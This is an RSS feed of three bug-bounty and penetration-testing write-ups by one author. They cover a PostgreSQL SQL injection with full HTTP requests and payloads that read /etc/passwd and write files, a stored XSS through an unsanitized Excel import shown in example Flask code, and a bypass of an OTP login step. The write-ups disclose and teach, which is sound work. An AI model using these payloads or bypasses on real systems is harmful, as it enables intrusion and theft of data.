<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yağız Koçer on Medium]]></title>
        <description><![CDATA[Stories by Yağız Koçer on Medium]]></description>
        <link>https://medium.com/@yagizkocer?source=rss-107fed01f56------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Yağız Koçer on Medium</title>
            <link>https://medium.com/@yagizkocer?source=rss-107fed01f56------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:14:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yagizkocer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL Injection on PostgreSQL]]></title>
            <link>https://medium.com/@yagizkocer/sql-injection-on-postgresql-8c8f823e44aa?source=rss-107fed01f56------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c8f823e44aa</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yağız Koçer]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 15:14:32 GMT</pubDate>
            <atom:updated>2024-01-23T15:14:32.512Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*E5HPYaDfSIV-iSg-E8iwYw.jpeg" /></figure><p>Hi folks, today I will share a scenario that I faced while doing penetration testing on a popular payment system. The company will be called redacted.com for the rest of the write-up. Let’s go!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FBqOxBMG08VBN3PZELx%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FBqOxBMG08VBN3PZELx%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExYWVwcDB2ZWVocXhmNzZ0ODNhNmdldzM5bWN1NHpzczhvbmx5bzZmbSZlcD12MV9naWZzX2dpZklkJmN0PWc%2FBqOxBMG08VBN3PZELx%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/ae171d7509ae6227fc2f3e3f39bb891f/href">https://medium.com/media/ae171d7509ae6227fc2f3e3f39bb891f/href</a></iframe><h3>Very Simple Foothold: Put the quote, get the error</h3><p>When discovering the endpoints, noticed a request that looked like sending a JSON with parameters that define the values for the query. Tried to put a quote on the “Id” parameter.</p><pre>POST /api/ppg/Portal/GetMerchantDropdown HTTP/1.1<br>Host: redacted.com:20001<br>Content-Length: 102<br>Sec-Ch-Ua: <br>Accept: application/json, text/plain, */*<br>Content-Type: application/json<br>Sec-Ch-Ua-Mobile: ?0<br>Authorization: <br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36<br>Sec-Ch-Ua-Platform: &quot;&quot;<br>Origin: https://redacted.com:10903<br>Sec-Fetch-Site: same-site<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://redacted.com:10903/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br>Connection: close<br><br>{&quot;Take&quot;:1,&quot;Skip&quot;:0,&quot;Id&quot;:&quot;1-2651&#39;&quot;}</pre><p>Got a response with an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*xi22pm3x0e7wD4IIvP4ffw.png" /></figure><p>When I searched for the error message, I understood that it was caused by the query and also I verified that it is a PostgreSQL error. We took our first step for SQL Injection!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F5GoVLqeAOo6PK%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F5GoVLqeAOo6PK%2Fgiphy.mp4&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExOGJyYzJ3MXNvcmJtbGZoYWt4aHBmcGpvcnpmbTZjbXpjeGIzOTNmbyZlcD12MV9naWZzX2dpZklkJmN0PWc%2F5GoVLqeAOo6PK%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="339" frameborder="0" scrolling="no"><a href="https://medium.com/media/73814d752a2227651991832190df9b46/href">https://medium.com/media/73814d752a2227651991832190df9b46/href</a></iframe><h3>Broking the query is done. Now fix it.</h3><p>Since the endpoint is retrieving some data, the first thing that came to my mind is gluing the query with another query that we will inject and getting some nifty extra data. To do so, I need to use the Union Attack method and merging with my inject query. You can read this amazing material which I also got a lot of help while doing this assessment -&gt; <a href="https://portswigger.net/web-security/sql-injection/union-attacks">https://portswigger.net/web-security/sql-injection/union-attacks</a></p><p>The first thing to do is determine how many columns return in the original query. I chose the null payload method, the basic idea is you need to union the original query with null selects until you match the column numbers with the original one, you will add the nulls until you get no errors on your injected query. Here is the final payload that didn’t return an error.</p><pre>POST /api/ppg/Portal/GetMerchantDropdown HTTP/1.1<br>Host: redacted.com:20001<br>Content-Length: 102<br>Sec-Ch-Ua: <br>Accept: application/json, text/plain, */*<br>Content-Type: application/json<br>Sec-Ch-Ua-Mobile: ?0<br>Authorization: ..<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36<br>Sec-Ch-Ua-Platform: &quot;&quot;<br>Origin: https://redacted.com:10903<br>Sec-Fetch-Site: same-site<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://redacted.com:10903/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br>Connection: close<br><br>{&quot;Take&quot;:1,&quot;Skip&quot;:0,&quot;Id&quot;:&quot;1-2651&#39; union select null, null, null, null, null;--&quot;}</pre><p>For testing the query to see if it returns any data that we will inject, I tried information_schema.tables. to retrieve the table information from the database and here is the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9JRWmyrvscfQJiCmanaSLQ.png" /></figure><p>And we conclude that we got results. Below are different payloads that I was able to run in the vulnerable endpoint.</p><p>Reading a file from the instance =&gt; {&quot;Take&quot;:1,&quot;Skip&quot;:0,&quot;Id&quot;:&quot;1-2651&#39; union select null, pg_read_file(&#39;/etc/passwd&#39;), null, null, null;--&quot;}</p><p>Writing to files =&gt; {&quot;Take&quot;:100,&quot;Skip&quot;:0,&quot;Id&quot;:&quot;1-2651&#39;; COPY (SELECT &#39;hello&#39;) TO &#39;/tmp/pentestlab&#39;;--&quot;}</p><h3>Conclusion</h3><p>If you are still reading this, thank you for your time. Sometimes we feel hopeless trying the things we know and are still waiting for a result, but this example scenario was exactly like an intro lesson for SQL injection. My advice is never to give up even for simple things. Happy hacking!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fm9eG1qVjvN56H0MXt8%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fm9eG1qVjvN56H0MXt8%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMjV5eGQ5Mnh4NDI2dm9iY2lvdzJmaWQ2a2s1dHUwMnJyZHhkNHgyZyZlcD12MV9naWZzX2dpZklkJmN0PWc%2Fm9eG1qVjvN56H0MXt8%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/c95ee00fac26bb89f08cbdb0a138c8ae/href">https://medium.com/media/c95ee00fac26bb89f08cbdb0a138c8ae/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c8f823e44aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escaping Input Sanitization By Using Bulk Import Features]]></title>
            <link>https://medium.com/@yagizkocer/escaping-input-sanitization-by-using-bulk-import-features-3af98c7a5f3f?source=rss-107fed01f56------2</link>
            <guid isPermaLink="false">https://medium.com/p/3af98c7a5f3f</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web-app-security]]></category>
            <dc:creator><![CDATA[Yağız Koçer]]></dc:creator>
            <pubDate>Sat, 19 Aug 2023 11:19:44 GMT</pubDate>
            <atom:updated>2023-08-19T11:19:44.802Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EbRiAdj8V3pQ1c4P.png" /></figure><p>Hi everyone ! Today I will try to explain another implementation based flaw and how to abuse it by showing a scenario that I faced. Lets go !</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FFDZ6RGNSmYCDLB3Oil%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FFDZ6RGNSmYCDLB3Oil%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FFDZ6RGNSmYCDLB3Oil%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/0d41213a80a5f691daaa9093d372b05f/href">https://medium.com/media/0d41213a80a5f691daaa9093d372b05f/href</a></iframe><h3>What Do I Mean by “Bulk Import” ?</h3><p>For instance, when you’re on-site and need to input a variety of data — such as phone numbers and names — some applications offer the convenience of uploading this information via documents like Excel, CSV, or JSON. This feature enables you to effortlessly incorporate all your data by simply importing a single document. The application then parses the document and stores the data in its database.</p><h3>Can We Abuse This Feature ?</h3><p>Bulk importing and receiving data as parameters in a request are implemented as two distinct logics in applications. However, at times, one of these implementations might overlook the need to sanitize its data, leading to potential vulnerabilities such as XSS, SSRF, SSTI, and more.</p><p>Look at the two code snippets below. First one will get the data as POST request with parameters.</p><pre>from flask import Flask, request, jsonify<br>import bleach  # For sanitizing inputs<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/add_data&#39;, methods=[&#39;POST&#39;])<br>def add_data():<br>    try:<br>        data = request.json<br><br>        # Sanitize input data using bleach<br>        sanitized_data = {<br>            &#39;name&#39;: bleach.clean(data.get(&#39;name&#39;)),<br>            &#39;email&#39;: bleach.clean(data.get(&#39;email&#39;)),<br>            &#39;message&#39;: bleach.clean(data.get(&#39;message&#39;))<br>        }<br><br>        # Code to save sanitized_data to the database<br>        # ...<br><br>        return jsonify({&#39;message&#39;: &#39;Data added successfully&#39;})<br>    except Exception as e:<br>        return jsonify({&#39;error&#39;: str(e)}), 500<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run()</pre><p>The endpoint will get 3 parameters (name, email, message) as POST request, and it sanitizes the parameters before processing it. Implementation looks safe at the moment. However, lets look at another endpoint that does the exact same action by importing this data in excel.</p><pre>from flask import Flask, request, jsonify<br>import openpyxl  # For reading Excel files<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/import_excel&#39;, methods=[&#39;POST&#39;])<br>def import_excel():<br>    try:<br>        # Assuming an Excel file is uploaded and saved as &#39;data.xlsx&#39;<br>        wb = openpyxl.load_workbook(&#39;data.xlsx&#39;)<br>        sheet = wb.active<br><br>        # Extract data from Excel without sanitization<br>        name = sheet.cell(row=2, column=1).value<br>        email = sheet.cell(row=2, column=2).value<br>        message = sheet.cell(row=2, column=3).value<br><br>        # Code to save data to the database without sanitization<br>        # ...<br><br>        return jsonify({&#39;message&#39;: &#39;Data imported successfully&#39;})<br>    except Exception as e:<br>        return jsonify({&#39;error&#39;: str(e)}), 500<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run()</pre><p>In this implementation, you can observe that it directly extracts data from the Excel file and subsequently saves it. Although both implementations achieve the same goal, one of them falls short in terms of input sanitization.</p><h3>Chasing The Differences In the Wild: A Real World Example</h3><p>Here is a real world scenario. I will call the company as “redacted.com”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3o6Zthqgss4W4klvZC%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3o6Zthqgss4W4klvZC%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3o6Zthqgss4W4klvZC%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="322" frameborder="0" scrolling="no"><a href="https://medium.com/media/661d34c7eee4bef4a81a6eb9d82d84c6/href">https://medium.com/media/661d34c7eee4bef4a81a6eb9d82d84c6/href</a></iframe><p>The application allows you to add users on the system. When you add the user via the form and sending it as a POST request, it handles the sanitization and saves with the clean output. However, you can also import the users from an excel file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9fSeGZ7IRGfHs72sTvpmw.png" /><figcaption>Add user from the excel option</figcaption></figure><p>When I inspect the example excel file and the html that the data is filled with, I crafted a simple payload to name of a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPWo7iA-dwle5_NMrudOgA.png" /><figcaption>Excel payload crafted for the name place for the user</figcaption></figure><p>After importing the excel file and listing the users in the application. It ran the alert script and the Stored XSS is successfully done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PN1UTyyVIBiX_FoCGH967Q.png" /><figcaption>Stored XSS successfully executed</figcaption></figure><h3>Conclusion</h3><p>Always explore various possibilities for actions within the application. While one pathway might be well-protected, another pathway that performs the same function could potentially be vulnerable. I hope this advice proves valuable in your future pursuits. Thank you very much for reading!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FkGOG0aiaHAc2Z2CCWU%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FkGOG0aiaHAc2Z2CCWU%2Fgiphy-downsized-large.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FkGOG0aiaHAc2Z2CCWU%2Fgiphy-downsized-large.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="534" frameborder="0" scrolling="no"><a href="https://medium.com/media/3b04472039892ac29f512a4bc743bca4/href">https://medium.com/media/3b04472039892ac29f512a4bc743bca4/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3af98c7a5f3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A trivial OTP Bypass Based On Business Logic Abuse]]></title>
            <link>https://medium.com/@yagizkocer/a-trivial-otp-bypass-based-on-business-logic-abuse-1513872716b0?source=rss-107fed01f56------2</link>
            <guid isPermaLink="false">https://medium.com/p/1513872716b0</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-test]]></category>
            <dc:creator><![CDATA[Yağız Koçer]]></dc:creator>
            <pubDate>Fri, 07 Jul 2023 11:31:15 GMT</pubDate>
            <atom:updated>2023-07-07T11:31:15.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8fbivXTR0xTNHeJO4-zpw.jpeg" /></figure><p>Hello everyone, in our latest penetration testing, our customer has a mobile application with 2FA implementation. I will explain how I bypassed it based on their implementation of 2FA. I will mention the company as “redacted.com” for confidentiality purpose. Let’s start !</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F4meHSobzwZNncjZ7bZ%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F4meHSobzwZNncjZ7bZ%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F4meHSobzwZNncjZ7bZ%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/251682a16125763d4dfab3c7b28871a1/href">https://medium.com/media/251682a16125763d4dfab3c7b28871a1/href</a></iframe><p>Company has a mobile application with 2FA implementation on default. It is an application that let’s people transact money, so lots of important credentials such as identity numbers and card numbers of that customer were inside of that application. The login steps of the application are like below.</p><ol><li>Enter the phone number that you registered.</li><li>If phone exist on the system, it will redirect to you OTP page and sends an OTP code to your phone via SMS</li><li>After the OTP code is entered successfully. It will redirect to another page that lets you enter password.</li><li>After the password login. It gave you the token to use for the rest of the application actions.</li></ol><p>I will try the basic things first. I tried to brute force OTP but application has a rate limit. Tried to change the OTP result code to “200” but still no result.</p><p>After these tries I went back to Burp Suite and started to inspect the requests. A strange business logic came to my eye;</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fso8KXAphERsre%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fso8KXAphERsre%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fso8KXAphERsre%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="608" frameborder="0" scrolling="no"><a href="https://medium.com/media/f17315ab92353be948fdc827207a6c22/href">https://medium.com/media/f17315ab92353be948fdc827207a6c22/href</a></iframe><p>After the phone verification it redirects to the OTP and if its successful it returns the user info from the phone number that is registered.</p><pre>POST /mapi/v3/check_otp_pass HTTP/2<br>Host: redacted.com<br>Content-Type: application/json; charset=utf-8<br>Accept: application/json<br>Accept-Encoding: gzip, deflate<br>Content-Length: 183<br><br>{&quot;client_id&quot;:&quot;************&quot;,&quot;client_secret&quot;:&quot;************&quot;,&quot;gsm&quot;:&quot;************&quot;,&quot;otp_password&quot;:&quot;123456&quot;,&quot;process&quot;:&quot;update&quot;}</pre><pre>HTTP/2 200 OK<br>Date: Thu, 22 Jun 2023 10:21:36 GMT<br>Content-Type: application/json; charset=utf-8<br>Vary: Accept-Encoding<br>Vary: Origin<br>X-Frame-Options: SAMEORIGIN<br>X-Xss-Protection: 1; mode=block<br>X-Content-Type-Options: nosniff<br>X-Download-Options: noopen<br>X-Permitted-Cross-Domain-Policies: none<br>Referrer-Policy: strict-origin-when-cross-origin<br>Cache-Control: max-age=0, private, must-revalidate<br><br><br>{&quot;code&quot;:&quot;200&quot;,&quot;data&quot;:{&quot;opy_user&quot;:{&quot;id&quot;:*****,&quot;name_surname&quot;:&quot;*****&quot;,&quot;email&quot;:&quot;*****&quot;,&quot;gsm&quot;:&quot;*****&quot;,&quot;id_no&quot;:&quot;*****&quot;,&quot;date_of_birth&quot;:&quot;*****&quot;,&quot;pin&quot;:true},&quot;process&quot;:&quot;update&quot;,&quot;process_hash&quot;:&quot;*****&quot;},&quot;message&quot;:&quot;Successfully entered OTP Code.&quot;}</pre><p>After that it redirects to the pin page which lets you entered the pin for your account. If you entered the correct pin, it gives you the token.</p><pre>POST /mapi/v3/oauth/token HTTP/2<br>Host: redacted.com<br>Content-Type: application/json; charset=utf-8<br>Accept: application/json<br>Accept-Encoding: gzip, deflate<br>Content-Length: 179<br><br>{&quot;grant_type&quot;:&quot;password&quot;,&quot;gsm&quot;:&quot;55555555&quot;,&quot;pin&quot;:&quot;123456&quot;,&quot;client_id&quot;:&quot;******&quot;,&quot;client_secret&quot;:&quot;*****&quot;}</pre><p>And the response brings the token.</p><pre>HTTP/2 200 OK<br>Date: Thu, 22 Jun 2023 10:30:12 GMT<br>Content-Type: application/json; charset=utf-8<br>Vary: Accept-Encoding<br>Vary: Origin<br>Cache-Control: private, no-store<br>Pragma: no-cache<br><br><br>{&quot;access_token&quot;:&quot;****&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;expires_in&quot;:86400,&quot;refresh_token&quot;:&quot;****&quot;,&quot;created_at&quot;:****,&quot;subscribe_channel&quot;:[],&quot;unsubscribe_channel&quot;:[]</pre><p>After the token, user interacts with the all application based on this token.</p><p>After inspecting these two request, the strange thing came up to my eye. OTP code is just for redirecting for the pin page, but the token request does not contain anything about the OTP code verification. When I tried to bypass the OTP code and straightly went with the token request with just providing the phone number and the pin, I successfully got the token and do every action on the application without OTP code.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FUIMAFTRUcf6V71BGsd%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FUIMAFTRUcf6V71BGsd%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FUIMAFTRUcf6V71BGsd%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/aa2a79b5f641316aec5dbcf57b644d6f/href">https://medium.com/media/aa2a79b5f641316aec5dbcf57b644d6f/href</a></iframe><h3>Summary</h3><p>This flaw causes from lack of checking the OTP verification to get the token. The OTP check request is just a standalone request that just directs to the pin page if its correct and no relation with the token request. Thank you for reading !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1513872716b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>